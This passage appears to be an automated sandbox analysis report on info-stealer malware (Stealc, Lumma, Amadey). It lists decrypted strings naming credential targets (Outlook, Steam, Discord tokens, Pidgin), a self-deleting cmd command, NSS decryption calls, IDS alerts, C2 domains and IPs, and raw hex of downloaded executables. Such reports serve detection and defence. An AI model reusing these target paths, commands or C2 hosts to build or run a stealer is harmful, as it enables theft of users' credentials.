Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Tox
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: *.tox
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: *.ini
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Password
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: 00000001
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: 00000002
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: 00000003
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: 00000004
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Pidgin
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \.purple\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: accounts.xml
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: token:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Software\Valve\Steam
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SteamPath
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \config\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: ssfn*
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: config.vdf
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: DialogConfig.vdf
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: libraryfolders.vdf
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: loginusers.vdf
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \Steam\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sqlite3.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: done
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: soft
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: https
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: POST
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: HTTP/1.1
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: hwid
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: build
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: token
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: file_name
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: file
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: message
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C58A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	4_2_6C58A9A0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C584440 PK11_PrivDecrypt,	4_2_6C584440
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C554420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	4_2_6C554420
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5844C0 PK11_PubEncrypt,	4_2_6C5844C0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5D25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	4_2_6C5D25B0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C58A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	4_2_6C58A650
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C568670 PK11_ExportEncryptedPrivKeyInfo,	4_2_6C568670
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C56E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	4_2_6C56E6E0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5AA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	4_2_6C5AA730
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5B0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	4_2_6C5B0180
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5843B0 PK11_PubEncryptPKCS1,PR_SetError,	4_2_6C5843B0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5A7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	4_2_6C5A7C00
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C567D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	4_2_6C567D60
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5ABD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	4_2_6C5ABD30
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5A9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	4_2_6C5A9EC0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C583FF0 PK11_PrivDecryptPKCS1,	4_2_6C583FF0
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C583850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	4_2_6C583850
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C589840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	4_2_6C589840
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C5ADA40 SEC_PKCS7ContentIsEncrypted,	4_2_6C5ADA40
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C583560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	4_2_6C583560
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C57F050 PR_smprintf,SEC_CertNicknameConflict,strlen,realloc,memset,realloc,strlen,free,PR_smprintf,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PR_SetError,PR_GetCurrentThread,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,PK11_GenerateRandom,SECKEY_DestroyPrivateKey,PR_SetError,free,free,free,free,PK11_FindCertInSlot,PORT_NewArena_Util,free,PK11_ImportCert,PR_SetError,free,CERT_DestroyCertificate,PORT_FreeArena_Util,PR_GetCurrentThread,PORT_ArenaAlloc_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_GetCurrentThread,strlen,PR_SetError,PR_GetCurrentThread,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,PR_SetError,free,SECKEY_DestroyPrivateKey,SECKEY_DestroyEncryptedPrivateKeyInfo,PR_SetError,	4_2_6C57F050

Source: iUKUR1nUyD.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49837 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49721 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3063824091.000000006F92D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: nss3.pdb@ source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.4.dr, softokn3.dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.4.dr, vcruntime140[1].dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.4.dr, msvcp140.dll.4.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe, 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: nss3.pdb source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: mozglue.pdb source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3063824091.000000006F92D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.4.dr, softokn3.dll.4.dr

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C655070 strlen,PR_SetError,strcpy,_mbsdec,strlen,_mbsinc,_mbsinc,FindFirstFileA,GetLastError,

4_2_6C655070

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49773 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49773 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49773
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49773 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49773
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49773 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49986 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49993
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49721 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49711 -> 172.67.199.72:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 24 Dec 2024 11:39:26 GMTContent-Type: application/octet-streamContent-Length: 2860544Last-Modified: Tue, 24 Dec 2024 10:56:24 GMTConnection: keep-aliveETag: "676a9358-2ba600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 6d 3a 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 62 6a 6d 61 61 64 6f 00 20 2b 00 00 a0 00 00 00 18 2b 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 66 61 64 72 76 77 69 00 20 00 00 00 c0 2b 00 00 04 00 00 00 80 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 84 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 24 Dec 2024 11:39:31 GMTContent-Type: application/octet-streamContent-Length: 5140992Last-Modified: Tue, 24 Dec 2024 10:58:21 GMTConnection: keep-aliveETag: "676a93cd-4e7200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 80 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 4e 00 00 04 00 00 5f 91 4e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 